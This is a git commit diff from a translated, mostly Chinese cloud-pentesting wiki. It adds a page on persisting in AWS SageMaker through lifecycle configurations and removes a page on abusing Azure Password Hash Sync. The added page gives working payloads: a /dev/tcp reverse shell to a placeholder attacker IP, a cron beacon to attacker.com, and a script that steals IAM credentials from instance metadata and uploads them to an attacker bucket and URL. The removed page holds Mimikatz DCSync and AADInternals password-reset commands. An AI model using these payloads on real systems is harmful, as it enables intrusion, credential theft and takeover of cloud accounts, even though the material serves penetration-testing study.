Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:35:11 +00:00
parent 6929f59f4b
commit 9c4b1ec1af
5 changed files with 262 additions and 117 deletions
+5 -3
View File
@@ -442,11 +442,13 @@
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
- [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
- [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
- [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
- [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
- [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
- [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
- [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
- [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
- [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
- [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
- [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
- [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
- [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
- [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
Binary file not shown.

After

Width:  |  Height:  |  Size: 186 KiB

@@ -0,0 +1,156 @@
# AWS - SageMaker 生命周期配置持久性
## 持久性技术概述
本节概述了通过滥用生命周期配置(LCCs)在 SageMaker 中获得持久性的方法,包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行,并可以在重启后保持持久性。大多数技术需要出站网络访问,但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
#### 注意:SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。
## 所需权限
* 笔记本实例:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio Applications:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## 设置笔记本实例的生命周期配置
### 示例 AWS CLI 命令:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## 在 SageMaker Studio 上设置生命周期配置
生命周期配置可以在不同级别和不同应用类型的 SageMaker Studio 中附加。
### Studio 域级别(所有用户)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space Level (个人或共享空间)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Studio 应用程序生命周期配置的类型
生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型:
* JupyterServer: 在 Jupyter 服务器启动期间运行脚本,适合用于持久性机制,如反向 shell 和 cron 作业。
* KernelGateway: 在内核网关应用程序启动期间执行,适用于初始设置或持久访问。
* CodeEditor: 应用于代码编辑器 (Code-OSS),启用在代码编辑会话开始时执行的脚本。
### 每种类型的示例命令:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### 代码编辑器
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### 关键信息:
* 在域或空间级别附加LCC会影响范围内的所有用户或应用程序。
* 需要更高的权限(sagemaker:UpdateDomain, sagemaker:UpdateSpace),通常在空间级别比在域级别更可行。
* 网络级别的控制(例如,严格的出口过滤)可以防止成功的反向Shell或数据外泄。
## 通过生命周期配置进行反向Shell
SageMaker生命周期配置(LCC)在笔记本实例启动时执行自定义脚本。具有权限的攻击者可以建立持久的反向Shell。
### 有效载荷示例:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration
攻击者可以通过 LCC 脚本注入 cron 作业,确保恶意脚本或命令的定期执行,从而实现隐秘的持久性。
### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## 通过 IMDS (v1 & v2) 进行凭证外泄
生命周期配置可以查询实例元数据服务 (IMDS) 以检索 IAM 凭证并将其外泄到攻击者控制的位置。
### 有效载荷示例:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
@@ -1,114 +0,0 @@
# Az - PHS - 密码哈希同步
{{#include ../../../../banners/hacktricks-training.md}}
## 基本信息
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**
所有 **用户****密码哈希的哈希值** 都从本地同步到 Azure AD。然而,**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
此外,**内置** 安全组(如域管理员...)不会 **同步** 到 Azure AD。
**哈希同步****2 分钟** 发生一次。然而,默认情况下,**密码过期** 和 **帐户** **过期** 在 Azure AD 中 **不同步**。因此,**本地密码已过期**(未更改)的用户可以继续使用旧密码 **访问 Azure 资源**
当本地用户想要访问 Azure 资源时,**身份验证在 Azure AD 上进行**。
**PHS****身份保护** 和 AAD 域服务等功能所必需的。
## 侧向移动
当配置 PHS 时,一些 **特权帐户** 会自动 **创建**
- 帐户 **`MSOL_<installationID>`** 会自动在本地 AD 中创建。该帐户被赋予 **目录同步帐户** 角色(请参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)),这意味着它在本地 AD 中具有 **复制(DCSync)权限**
- 帐户 **`Sync_<name of on-prem ADConnect Server>_installationID`** 在 Azure AD 中创建。该帐户可以 **重置 Azure AD 中任何用户**(同步或仅云)的密码。
前两个特权帐户的密码 **存储在 SQL 服务器** 上,该服务器是 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\
数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`
可以从其中一个表中提取配置,其中一个是加密的:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**加密配置** 使用 **DPAPI** 加密,包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此,妥协这些密码可以提升到 AD 和 AzureAD 的权限。
您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### 查找 **Azure AD Connect 服务器**
如果 **安装 Azure AD Connect 的服务器** 加入了域(文档中推荐),可以通过以下方式找到它:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### 滥用 MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> 您还可以使用 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) 来获取这些凭据。
### 滥用 Sync\_\*
妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**(包括全局管理员)。
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
也可以**仅修改云**用户的密码(即使这出乎意料)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
可以导出该用户的密码。
> [!CAUTION]
> 另一个选项是**为服务主体分配特权权限**,而**Sync**用户有**权限**这样做,然后**访问该服务主体**作为特权提升的方法。
### 无缝单点登录
可以使用PHS进行无缝单点登录,这对其他滥用是脆弱的。请查看:
{{#ref}}
seamless-sso.md
{{#endref}}
## 参考文献
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}
+101
View File
@@ -1,3 +1,104 @@
/**
* HackTricks Training Discounts
*/
(() => {
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
backdrop-filter: blur(6px);
display: flex; justify-content: center; align-items: center;
z-index: 10000;
`);
/* --- Modal --- */
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
box-shadow: 0 8px 24px rgba(0,0,0,.35);
font-family: system-ui, sans-serif;
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
`);
const link = $('a', `
color: inherit;
text-decoration: none;
display: block;
`);
link.href = URL;
link.target = '_blank';
link.rel = 'noopener noreferrer';
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
color: #fff; font-size: 1.4rem; line-height: 1;
cursor: pointer; padding: 0; margin: 0;
`);
closeBtn.setAttribute('aria-label', 'Close');
closeBtn.textContent = '✕';
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
`);
const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
cb.onchange = () => {
if (cb.checked) {
localStorage.setItem(KEY, 'true');
overlay.remove();
}
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
modal.append(titleBar, img, label);
overlay.appendChild(modal);
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
} else {
document.body.appendChild(overlay);
}
})();
/**
* HackTricks AI Chat Widget v1.16 resizable sidebar
* ---------------------------------------------------